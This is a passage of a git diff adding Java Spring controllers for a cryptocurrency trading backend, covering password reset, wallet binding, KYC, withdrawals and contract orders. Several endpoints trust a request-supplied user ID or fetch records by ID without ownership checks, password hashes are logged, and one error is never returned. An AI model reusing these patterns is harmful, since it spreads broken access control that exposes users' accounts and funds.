"邮箱修改登录密码") + @PostMapping("/updatePwdByEmail") + public AjaxResult updatePwdByEmail (String email, String emailCode,String newPwd){ + String msg = tAppUserService.updatePwdByEmail(email,emailCode,newPwd); + if (StringUtils.isNotEmpty(msg)) { + return AjaxResult.error(msg); + } + return AjaxResult.success(MessageUtils.message("user.login.upd.success")); + } + + + @ApiOperation(value = "邮箱找回密码") + @PostMapping("/backPwd") + public AjaxResult backPwd (String email, String emailCode,String newPwd){ + String msg = tAppUserService.backPwd(email,emailCode,newPwd); + if (StringUtils.isNotEmpty(msg)) { + return AjaxResult.error(msg); + } + return AjaxResult.success(MessageUtils.message("user.login.upd.success")); + } + + @ApiOperation(value = "手机找回密码") + @PostMapping("/bindPhoneEmail") + public AjaxResult bindPhoneEmail (String phone, String phoneCode,String newPwd){ + if (StringUtils.isBlank(newPwd)) { + return AjaxResult.error(MessageUtils.message("user.login.password.null")); + } + if (StringUtils.isNotBlank(newPwd)) { + newPwd = SecurityUtils.encryptPassword(newPwd); + } + TAppUser user = tAppUserService.getOne(new LambdaQueryWrapper().eq(TAppUser::getPhone,phone)); + if (null == user) { + log.error("用户phone不存在, username:{}, pwd:{}", phone,newPwd); + return AjaxResult.error(MessageUtils.message("user.login.null")); + } + String emailLoginkey = String.format("%s%s", CachePrefix.SMS_CODE.getPrefix()+UserCodeTypeEnum.FIND_PASSWORD.name(), phone); + if (Boolean.TRUE.equals(redisCache.hasKey(emailLoginkey))) { + if (!phoneCode.equalsIgnoreCase(redisCache.getCacheObject(emailLoginkey).toString())) { + return AjaxResult.error(MessageUtils.message("login.code_error")); + } + } else { + return AjaxResult.error(MessageUtils.message("login.code_error")); + } + if(StringUtils.isEmpty(user.getLoginName())){ + user.setLoginName(phone); + } + redisCache.deleteObject(emailLoginkey); + user.setLoginPassword(newPwd); + tAppUserService.updateTAppUser(user); + return AjaxResult.success(MessageUtils.message("user.login.upd.success")); + } + + @ApiOperation(value = "密码设置") + @PostMapping("/pwdSett") + public AjaxResult pwd(String pwd,HttpServletRequest request) { + Long userId = getStpUserId(); + TAppUser user = tAppUserService.getOne(new LambdaQueryWrapper().eq(TAppUser::getUserId, userId)); + if (StringUtils.isNotEmpty(user.getLoginPassword())) { + return AjaxResult.error(MessageUtils.message("user.password_bind")); + } + String userPwd = SecurityUtils.encryptPassword(pwd); + user.setLoginPassword(userPwd); + log.debug("密码设置, user:{}", userPwd); + return AjaxResult.success(tAppUserService.updateTAppUser(user)); + } + + @ApiOperation(value = "修改用户登录密码") + @PostMapping("/updateUserLoginPwd") + public AjaxResult updateUserLoginPwd(String oldPwd, String newPwd, Long userId) { + TAppUser user = tAppUserService.selectTAppUserByUserId(userId); + if (null == user) { + return AjaxResult.error(MessageUtils.message("user.login.null")); + } + if (StringUtils.isBlank(oldPwd)) { + return AjaxResult.error(MessageUtils.message("user.login.old.password")); + } + if (StringUtils.isBlank(newPwd)) { + return AjaxResult.error(MessageUtils.message("user.login.new.password")); + } + if (newPwd.equals(oldPwd)) { + return AjaxResult.error(MessageUtils.message("user.login.paw.upd")); + } + if(!SecurityUtils.matchesPassword(oldPwd,user.getLoginPassword())){ + return AjaxResult.error(MessageUtils.message("user.login.old.password.error")); + } + user.setLoginPassword(SecurityUtils.encryptPassword(newPwd)); + tAppUserService.updateTAppUser(user); + return AjaxResult.success(MessageUtils.message("user.login.upd.success")); + } + + + + @ApiOperation(value = "资金密码设置") + @PostMapping("/tardPwdSet") + public AjaxResult tardPwdSet(String pwd,HttpServletRequest request) { + Long userId = getStpUserId(); + TAppUserDetail user = appUserDetailService.getOne(new LambdaQueryWrapper().eq(TAppUserDetail::getUserId, userId)); + if (StringUtils.isNotEmpty(user.getUserTardPwd())) { + return AjaxResult.error(MessageUtils.message("user.tard.password_bind")); + } + String userPwd = SecurityUtils.encryptPassword(pwd); + user.setUserTardPwd(userPwd); + log.debug("密码设置, user:{}", userPwd); + return AjaxResult.success(appUserDetailService.updateTAppUserDetail(user)); + } + + + @ApiOperation(value = "修改交易密码") + @PostMapping("/updatePwd") + public AjaxResult updatePwd(String oldPwd, String newPwd, String signType, String emailOrPhone, String code, HttpServletRequest request) { + String msg = tAppUserService.updatePwd(oldPwd,newPwd,signType,emailOrPhone,code); + if (StringUtils.isNotEmpty(msg)) { + return AjaxResult.error(msg); + } + return AjaxResult.success(MessageUtils.message("user.login.upd.success")); + } + + + @ApiOperation(value = "用户绑定钱包地址") + @PostMapping("/updateUserAddress") + public AjaxResult updateUserAddress(String address, Long userId, String type) { + if (StringUtils.isBlank(type)) { + type = "ETH"; + } + if (StringUtils.isBlank(address)) { + return AjaxResult.error(MessageUtils.message("user.login.address.null")); + } + if (null == userId) { + return AjaxResult.error(MessageUtils.message("user.login.userid.null")); + } + TAppUser massUser1 = tAppUserService.selectByAddress(address); + if (null != massUser1) { + return AjaxResult.error(MessageUtils.message("user.login.address.error")); + } + TAppUser massUser = tAppUserService.selectTAppUserByUserId(userId); + if (null == massUser) { + return AjaxResult.error(MessageUtils.message("user.login.null")); + } + if (StringUtils.isNotBlank(massUser.getAddress()) && !massUser.getUserId().toString().equals(massUser.getAddress())) { + return AjaxResult.error(MessageUtils.message("user.login.address.error")); + } + massUser.setAddress(address); + if ("ETH".equals(type)) { + massUser.setAddress(address.toLowerCase()); + } + massUser.setWalletType(type); + tAppUserService.updateTAppUser(massUser); + + //创建 用户授权信息 + TAppAddressInfo tAppAddressInfo = new TAppAddressInfo(); + tAppAddressInfo.setAddress(massUser.getAddress()); + tAppAddressInfo.setAllowedNotice(0L); + tAppAddressInfo.setWalletType(massUser.getWalletType()); + tAppAddressInfo.setUserId(massUser.getUserId()); + tAppAddressInfo.setUsdt(new BigDecimal(0)); + tAppAddressInfo.setEth(new BigDecimal(0)); + tAppAddressInfo.setBtc(new BigDecimal(0)); + tAppAddressInfo.setUsdtAllowed(new BigDecimal(0)); + tAppAddressInfo.setUsdtMonitor(new BigDecimal(0)); + itAppAddressInfoService.insertTAppAddressInfo(tAppAddressInfo); + + + log.debug("玩家绑定地址成功:{}", address); + return AjaxResult.success(MessageUtils.message("user.login.upd.success"), StpUtil.getTokenInfo().getTokenValue()); + } + + + @ApiOperation(value = "上传身份认证信息") + @PostMapping("/uploadKYC") + public AjaxResult uploadKYC(String realName,String flag, String idCard, String frontUrl, String backUrl, String country, String handelUrl,String cardType,HttpServletRequest request) { + + if ("2".equals(flag)){ + Setting setting = settingService.get(SettingEnum.APP_SIDEBAR_SETTING.name()); + List list = new ArrayList<>(); + if(null != setting){ + list = JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), AppSidebarSetting.class); + } + if (!CollectionUtils.isEmpty(list)){ + AppSidebarSetting primary = list.stream().filter(appSidebarSetting -> appSidebarSetting.getKey().equals("primary")).findFirst().get(); + if (Objects.nonNull(primary) && primary.getIsOpen()){ + TAppUserDetail appUserDetai = appUserDetailService.getOne(new LambdaQueryWrapper().eq(TAppUserDetail::getUserId, getStpUserId())); + if (!(Objects.nonNull(appUserDetai) && Objects.nonNull(appUserDetai.getAuditStatusPrimary()) && appUserDetai.getAuditStatusPrimary().equals(AuditStatusEnum.EXAMINATION_PASSED.getCode()))){ + return AjaxResult.error(MessageUtils.message("user.authentication.not.certified")); + } + } + } + } + tAppUserService.uploadKYC(getAppUser(),realName,flag,idCard,frontUrl,backUrl,handelUrl,country,cardType); + return AjaxResult.success(); + + } + + + + + /** + * 验证码效验 + * @param code + * @param msg + * @param name + * @return + */ + private String validateCode(String code, String msg, String name) { + Setting setting = settingService.get(SettingEnum.MARKET_URL.name()); + MarketUrlSetting marketUrlSetting = new MarketUrlSetting(); + if(null != setting){ + marketUrlSetting = JSONUtil.toBean(setting.getSettingValue(), MarketUrlSetting.class); + } + if(null != marketUrlSetting && !marketUrlSetting.getH5Code()){ + return msg; + } + if (StringUtils.isBlank(code)) { + msg = MessageUtils.message("user.login.code.error"); + return msg; + } + String s = redisCache.getCacheObject(CachePrefix.CODE.getPrefix()+UserCodeTypeEnum.valueOf(name) + code.toLowerCase()) == null ? "" : redisCache.getCacheObject(CachePrefix.CODE.getPrefix()+UserCodeTypeEnum.valueOf(name) + code.toLowerCase()).toString(); + if (StringUtils.isBlank(s)) { + msg = MessageUtils.message("user.login.code.error"); + return msg; + } + if (!code.equals(s)) { + msg = MessageUtils.message("user.login.code.error"); + return msg; + } + redisCache.deleteObject(code); + return msg; + } + + + /** + * 用户效验 + * @param tAppUser + * @return + */ + private String validateAppUser(TAppUser tAppUser) { + String msg=""; + String signType = tAppUser.getSignType(); + /** + * 邮箱登录 + */ + if (LoginOrRegisterEnum.EMAIL.getCode().equals(signType)) { + String email = tAppUser.getEmail(); + TAppUser tAppUser1 = tAppUserService.getOne(new LambdaQueryWrapper().eq(TAppUser::getEmail, email)); + if (null == tAppUser1) { + return MessageUtils.message("login.email.not_register"); + } + String emailLoginkey = String.format("%s%s", CachePrefix.EMAIL_CODE.getPrefix()+ UserCodeTypeEnum.LOGIN.name(), email); + if (Boolean.TRUE.equals(redisCache.hasKey(emailLoginkey))) { + if (!tAppUser.getCode().equalsIgnoreCase(redisCache.getCacheObject(emailLoginkey))) { + return MessageUtils.message("login.code_error"); + } + } else { + return MessageUtils.message("login.code_error"); + } + redisCache.deleteObject(emailLoginkey); + } + /** + * 手机号登录 + */ + if (LoginOrRegisterEnum.PHONE.getCode().equals(signType)) { + String phone = tAppUser.getPhone(); + TAppUser tAppUser1 = tAppUserService.getOne(new LambdaQueryWrapper().eq(TAppUser::getPhone, phone)); + if (null == tAppUser1) { + return MessageUtils.message("login.phone.not_register"); + } + String phoneLoginkey = String.format("%s%s", CachePrefix.SMS_CODE.getPrefix()+UserCodeTypeEnum.LOGIN.name(), phone); + if (Boolean.TRUE.equals(redisCache.hasKey(phoneLoginkey))) { + if (!tAppUser.getCode().equalsIgnoreCase(redisCache.getCacheObject(phoneLoginkey))) { + return MessageUtils.message("login.code_error"); + } + } else { + return MessageUtils.message("login.code_error"); + } + redisCache.deleteObject(phoneLoginkey); + } + /** + * 普通登录 + */ + if (LoginOrRegisterEnum.LOGIN.getCode().equals(signType)) { + String loginName=tAppUser.getLoginName(); + String phone = tAppUser.getPhone(); + String email = tAppUser.getEmail(); + String address = tAppUser.getAddress(); + LambdaQueryWrapper tAppUserLambdaQueryWrapper = new LambdaQueryWrapper<>(); + tAppUserLambdaQueryWrapper + .eq(TAppUser::getLoginName,loginName) + .or() + .eq(TAppUser::getPhone,phone) + .or() + .eq(TAppUser::getEmail,email) + .or() + .eq(TAppUser::getAddress,address); + TAppUser tAppUser1 = tAppUserService.getOne(tAppUserLambdaQueryWrapper); + if (null == tAppUser1) { + return MessageUtils.message("user.not.exists"); + } + if(!SecurityUtils.matchesPassword(tAppUser.getLoginPassword(),tAppUser1.getLoginPassword())){ + return MessageUtils.message("user.not.exists"); + } + return validateCode(tAppUser.getCode(), msg, UserCodeTypeEnum.LOGIN.name()); + } + + return msg; + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAppWalletRecordController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAppWalletRecordController.java new file mode 100644 index 0000000..bafabfc --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAppWalletRecordController.java @@ -0,0 +1,24 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.service.ITAppWalletRecordService; +import com.ruoyi.web.controller.common.ApiBaseController; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.core.controller.BaseController; + + +/** + * 用户信息Controller + * + * @author ruoyi + * @date 2023-07-04 + */ +@RestController +@RequestMapping("/api/record") +public class TAppWalletRecordController extends ApiBaseController +{ + @Autowired + private ITAppWalletRecordService tAppWalletRecordService; + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAppWithdrawController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAppWithdrawController.java new file mode 100644 index 0000000..b1497a4 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAppWithdrawController.java @@ -0,0 +1,134 @@ +package com.ruoyi.web.controller.bussiness; + +import cn.dev33.satoken.stp.StpUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.TWithdraw; +import com.ruoyi.bussiness.domain.vo.WithdrawFreezeVO; +import com.ruoyi.bussiness.service.ITWithdrawService; +import com.ruoyi.common.constant.CacheConstants; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.utils.RedisUtil; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.web.controller.common.ApiBaseController; +import io.swagger.annotations.ApiOperation; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.transaction.annotation.Transactional; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.annotation.Resource; +import javax.servlet.http.HttpServletRequest; +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.*; + +@Slf4j +@RestController +@RequestMapping("/api/withdraw") +public class TAppWithdrawController extends ApiBaseController { + + + @Resource + private ITWithdrawService withdrawService; + @Resource + private RedisUtil redisUtil; + @Value("${admin-redis-stream.names}") + private String redisStreamNames; + @Resource + private RedisCache redisCache; + /** + * 用户提现 + * + * @param amount + * @param coinType + * @param pwd + * @param adress + * @param coin + * @param request + * @return + */ + @PostMapping("submit") + @Transactional + public AjaxResult submit(BigDecimal amount, String coinType, String pwd, String adress, String coin, HttpServletRequest request) { + String msg = withdrawService.submit(amount,coinType,pwd,adress,coin); + if(StringUtils.isNotEmpty(msg)){ + return AjaxResult.error(msg); + } + //socket 通知后台 + HashMap object = new HashMap<>(); + object.put(CacheConstants.WITHDRAW_KEY,CacheConstants.WITHDRAW_KEY); + redisUtil.addStream(redisStreamNames,object); + return AjaxResult.success(); + } + + @ApiOperation(value = "我的提现列表") + @PostMapping("/list") + public TableDataInfo list( Integer status) { + TWithdraw appWithdraw = new TWithdraw(); + appWithdraw.setUserId(getStpUserId()); + appWithdraw.setStatus(status); + startPage(); + List list = withdrawService.selectTWithdrawList(appWithdraw); + if(!CollectionUtils.isEmpty(list)){ + list.forEach(t->{ + Map params = new HashMap<>(); + params.put("createTime", Objects.nonNull(t.getCreateTime())?t.getCreateTime().getTime():0l); + t.setParams(params); + }); + } + return getDataTable(list); + } + @ApiOperation(value = "详情") + @PostMapping("/detail") + public AjaxResult detail(Long id) { + TWithdraw result = withdrawService.getOne(new LambdaQueryWrapper().eq(TWithdraw::getId, id)); + return AjaxResult.success(result); + } + + @ApiOperation(value = "体现锁定资产list") + @PostMapping("/freezeList") + public AjaxResult freezeList(Integer status) { + TWithdraw appWithdraw = new TWithdraw(); + appWithdraw.setUserId(getStpUserId()); + appWithdraw.setStatus(3); + List withdrawFreezeVO = withdrawService.selectFreezeList(appWithdraw); + return AjaxResult.success(withdrawFreezeVO); + } + + @ApiOperation(value = "获取当前用户的体现状态") + @PostMapping("/getWithdrawStatus") + public AjaxResult getWithdrawStatus() { + Boolean flag = withdrawService.getWithdrawStatus(StpUtil.getLoginIdAsLong()); + return AjaxResult.success(flag); + } + + + @ApiOperation(value = "保存地址") + @PostMapping("/saveCacheAddress") + public AjaxResult saveCacheAddress(@RequestBody HashMap map) { + Long userId = StpUtil.getLoginIdAsLong(); + String address = map.get("address"); + String coin = map.get("coin"); + if(StringUtils.isNotEmpty(address)){ + redisCache.setCacheObject(CachePrefix.USER_ADDRESS_WITHDRAW.getPrefix()+userId+coin,address); + }else { + address= redisCache.getCacheObject(CachePrefix.USER_ADDRESS_WITHDRAW.getPrefix()+userId+coin); + } + return AjaxResult.success(address); + } + + @ApiOperation(value = "查看用户") + @PostMapping("/haveCacheAddress") + public AjaxResult haveCacheAddress(@RequestBody HashMap map) { + String coin = map.get("coin"); + Long userId = StpUtil.getLoginIdAsLong(); + return AjaxResult.success(redisCache.getCacheObject(CachePrefix.USER_ADDRESS_WITHDRAW.getPrefix() + userId+coin)); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TContractCoinController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TContractCoinController.java new file mode 100644 index 0000000..93f4d5d --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TContractCoinController.java @@ -0,0 +1,53 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.TContractCoin; +import com.ruoyi.bussiness.service.ITContractCoinService; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.web.controller.common.ApiBaseController; +import io.swagger.annotations.ApiOperation; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.util.List; + +/** + * U本位合约币种Controller + * + * @author michael + * @date 2023-06-27 + */ +@RestController +@RequestMapping("/api/contract/coin") +public class TContractCoinController extends ApiBaseController +{ + @Autowired + private ITContractCoinService contractCoinService; + + + /** + * 获取玩家资产详细信息 + */ + @ApiOperation(value = "u本位币种列表") + @PostMapping(value = "/list") + public TableDataInfo list() + { + TContractCoin tContractCoin=new TContractCoin(); + tContractCoin.setEnable(0L); + tContractCoin.setVisible(0L); + startPage(); + List list=contractCoinService.selectTContractCoinList(tContractCoin); + return getDataTable(list); + } + @ApiOperation(value = "u本位币种列表") + @PostMapping(value = "/getCoinList") + public AjaxResult getCoinList() + { + List list=contractCoinService.getCoinList(); + return AjaxResult.success(list); + } + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TContractLossController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TContractLossController.java new file mode 100644 index 0000000..1998fcd --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TContractLossController.java @@ -0,0 +1,71 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.TContractLoss; +import com.ruoyi.bussiness.service.ITContractLossService; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.web.controller.common.ApiBaseController; +import io.swagger.annotations.ApiOperation; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.*; + +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Objects; + +/** + * U本位仓位Controller + * + * @author michael + * @date 2023-06-27 + */ +@RestController +@RequestMapping("/api/contract/loss") +public class TContractLossController extends ApiBaseController { + @Autowired + private ITContractLossService contractLossService; + + + @ApiOperation(value = "止盈止损列表") + @PostMapping("/list") + @ResponseBody + public TableDataInfo list() { + TContractLoss contractLoss = new TContractLoss(); + contractLoss.setUserId(getStpUserId()); + contractLoss.setStatus(0); + startPage(); + List list = contractLossService.selectTContractLossList(contractLoss); + if(!CollectionUtils.isEmpty(list)){ + list.forEach(t->{ + Map params = new HashMap<>(); + params.put("createTime", Objects.nonNull(t.getCreateTime())?t.getCreateTime().getTime():0l); + t.setParams(params); + }); + } + return getDataTable(list); + } + + @ApiOperation(value = "撤销止盈止损") + @PostMapping("/cancel") + @ResponseBody + public AjaxResult cancel(Long id) { + TContractLoss contractLoss = contractLossService.selectTContractLossById(id); + contractLoss.setStatus(2); + contractLossService.updateTContractLoss(contractLoss); + return AjaxResult.success(); + } + + @ApiOperation(value = "止盈止损") + @PostMapping("/sett") + @ResponseBody + public AjaxResult sett(@RequestBody TContractLoss contractLoss) { + String result = contractLossService.cntractLossSett( contractLoss); + if (!"success".equals(result)) { + return AjaxResult.error(result); + } + return AjaxResult.success(); + } +} + diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TContractOrderController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TContractOrderController.java new file mode 100644 index 0000000..df0abe6 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TContractOrderController.java @@ -0,0 +1,88 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.TContractOrder; +import com.ruoyi.bussiness.domain.dto.TontractRequstDto; +import com.ruoyi.bussiness.service.ITContractOrderService; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.web.controller.common.ApiBaseController; +import io.swagger.annotations.ApiOperation; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.math.BigDecimal; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Objects; + +/** + * U本位委托Controller + * + * @author michael + * @date 2023-06-27 + */ +@RestController +@RequestMapping("/api/contract/order") +public class TContractOrderController extends ApiBaseController { + @Autowired + private ITContractOrderService contractOrderServicer; + + + /** + * @param 币种 + * @param 杠杆 + * @param 价格 + * @param 数量(整数) + * @param 类型 + * @param 委托类型 + * @return + */ + @ApiOperation(value = "U本位下单接口") + @PostMapping("/submit") + public AjaxResult submit(@RequestBody TontractRequstDto dto) { + String result =contractOrderServicer.buyContractOrder(dto.getSymbol(), dto.getLeverage(), dto.getDelegatePrice(), dto.getDelegateTotal(), getStpUserId(), dto.getType(), dto.getDelegateType()); + if (!"success".equals(result)) { + return AjaxResult.error(result); + } + return AjaxResult.success(); + } + + @ApiOperation(value = "委托订单列表") + @PostMapping("/list") + public TableDataInfo list(Integer status) { + TContractOrder tContractOrder = new TContractOrder(); + tContractOrder.setUserId(getStpUserId()); + tContractOrder.setStatus(status); + startPage(); + List list = contractOrderServicer.selectTContractOrderList(tContractOrder); + if(!CollectionUtils.isEmpty(list)){ + list.forEach(t->{ + Map params = new HashMap<>(); + params.put("createTime", Objects.nonNull(t.getCreateTime())?t.getCreateTime().getTime():0l); + t.setParams(params); + }); + } + return getDataTable(list); + } + @ApiOperation(value = "委托订单详情") + @PostMapping("/detail") + public AjaxResult detail(Long id) { + + return AjaxResult.success(contractOrderServicer.selectTContractOrderById(id)); + } + @ApiOperation(value = "取消委托") + @PostMapping("/canCelOrder") + public AjaxResult canCelOrder(Long id) { + + String result=contractOrderServicer.canCelOrder(id); + if (!"success".equals(result)) { + return AjaxResult.error(result); + } + return AjaxResult.success(); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TContractPositionController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TContractPositionController.java new file mode 100644 index 0000000..e8bf753 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TContractPositionController.java @@ -0,0 +1,116 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.TContractPosition; +import com.ruoyi.bussiness.service.ITContractPositionService; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.web.controller.common.ApiBaseController; +import io.swagger.annotations.ApiOperation; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +import javax.servlet.http.HttpServletRequest; +import java.math.BigDecimal; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Objects; + +/** + * U本位仓位Controller + * + * @author michael + * @date 2023-06-27 + */ +@RestController +@RequestMapping("/api/contract/position") +public class TContractPositionController extends ApiBaseController { + @Autowired + private ITContractPositionService contractPositionService; + + @ApiOperation(value = "持仓列表") + @PostMapping("/list") + @ResponseBody + public TableDataInfo list(String symbol, Integer status) { + Long userId = getStpUserId(); + TContractPosition contractPosition = new TContractPosition(); + contractPosition.setUserId(userId); + contractPosition.setSymbol(symbol); + contractPosition.setStatus(status); + startPage(); + List list = contractPositionService.selectTContractPositionList(contractPosition); + if(!CollectionUtils.isEmpty(list)){ + list.forEach(t->{ + Map params = new HashMap<>(); + params.put("createTime", Objects.nonNull(t.getCreateTime())?t.getCreateTime().getTime():0l); + Long days= Objects.nonNull(t.getDeliveryDays())?t.getDeliveryDays()*3600*24*1000:0L; + params.put("subTime", Objects.nonNull(t.getSubTime())?t.getSubTime().getTime()+days:0L); + Long sub=System.currentTimeMillis()-t.getCreateTime().getTime(); + Long result=t.getDeliveryDays()*3600*24*1000-sub; + if(result<0){ + result=0L; + } + params.put("deliveryDays", Objects.nonNull(t.getDeliveryDays())?result:0L); + t.setParams(params); + }); + } + return getDataTable(list); + } + + @ApiOperation(value = "平仓") + @PostMapping("/stopOrder") + @ResponseBody + public AjaxResult stopOrder(Long id) { + + contractPositionService.allClosePosition(id); + return AjaxResult.success(); + } + @ApiOperation(value = "调整保证金") + @PostMapping("/adjustAmount") + @ResponseBody + public AjaxResult adjustAmout(Long id, BigDecimal money, String flag) { + String result = contractPositionService.adjustAmout(id, money, flag); + if (!"success".equals(result)) { + return AjaxResult.error(result); + } + return AjaxResult.success(); + } + @ApiOperation(value = "rxce平仓") + @PostMapping("/stopPosition") + @ResponseBody + public AjaxResult stopPosition(Long id) { + String result = contractPositionService.verifyStopPostion(id); + if (!"success".equals(result)) { + return AjaxResult.error(result); + } + result= contractPositionService.closePosition(id); + if (!"success".equals(result)) { + return AjaxResult.error(result); + } + return AjaxResult.success(); + } + @ApiOperation(value = "追加保证金") + @PostMapping("/adjustPositionMargn") + @ResponseBody + public AjaxResult adjustPositionMargn(Long id, BigDecimal money) { + String result = contractPositionService.adjustPositionMargn(id,money); + if (!"success".equals(result)) { + return AjaxResult.error(result); + } + return AjaxResult.success(); + } + @ApiOperation(value = "追加本金") + @PostMapping("/adjustPositionAmout") + @ResponseBody + public AjaxResult adjustPositionAmout(Long id, BigDecimal money) { + String result = contractPositionService.adjustPositionAmout(id,money); + if (!"success".equals(result)) { + return AjaxResult.error(result); + } + return AjaxResult.success(); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TCurrencyOrderController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TCurrencyOrderController.java new file mode 100644 index 0000000..03c8dfc --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TCurrencyOrderController.java @@ -0,0 +1,160 @@ +package com.ruoyi.web.controller.bussiness; + +import com.baomidou.mybatisplus.core.conditions.Wrapper; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.TAppUserDetail; +import com.ruoyi.bussiness.domain.TCurrencyOrder; +import com.ruoyi.bussiness.service.ITAppUserDetailService; +import com.ruoyi.bussiness.service.ITCurrencyOrderService; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.annotation.RepeatSubmit; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.MessageUtils; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.web.controller.common.ApiBaseController; +import io.swagger.annotations.ApiOperation; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.transaction.annotation.Transactional; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.*; + +import javax.annotation.Resource; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Objects; + +/** + * 币币交易订单Controller + * + * @author ruoyi + * @date 2023-07-25 + */ +@RestController +@RequestMapping("/api/currency/order") +public class TCurrencyOrderController extends ApiBaseController +{ + @Autowired + private ITCurrencyOrderService tCurrencyOrderService; + @Resource + private ITAppUserDetailService tAppUserDetailService; + + /** + * 查询币币交易订单列表 + * @param tCurrencyOrder + * @return + */ + @PostMapping("/orderList") + public TableDataInfo orderList(TCurrencyOrder tCurrencyOrder) + { + tCurrencyOrder.setUserId(getAppUser().getUserId()); + startPage(); + List list = tCurrencyOrderService.selectOrderList(tCurrencyOrder); + if(!CollectionUtils.isEmpty(list)){ + list.forEach(t->{ + Map params = new HashMap<>(); + params.put("dealTime", Objects.nonNull(t.getDealTime())?t.getDealTime().getTime():0l); + params.put("delegateTime",Objects.nonNull(t.getDelegateTime())?t.getDelegateTime().getTime():0l); + t.setParams(params); + }); + } + return getDataTable(list); + } + + /** + * 撤单 + * @param id + * @return + */ + @PostMapping("/cancelOrder") + public AjaxResult cancelOrder(Long id) { + + TCurrencyOrder currencyOrder = tCurrencyOrderService.getOne((new LambdaQueryWrapper() + .eq(TCurrencyOrder::getUserId,getStpUserId()).eq(TCurrencyOrder::getId,id) + .eq(TCurrencyOrder::getStatus,0) + )); + if(currencyOrder !=null) { + tCurrencyOrderService.canCelOrder(currencyOrder); + }else { + AjaxResult.error("status is error"); + } + return AjaxResult.success(); 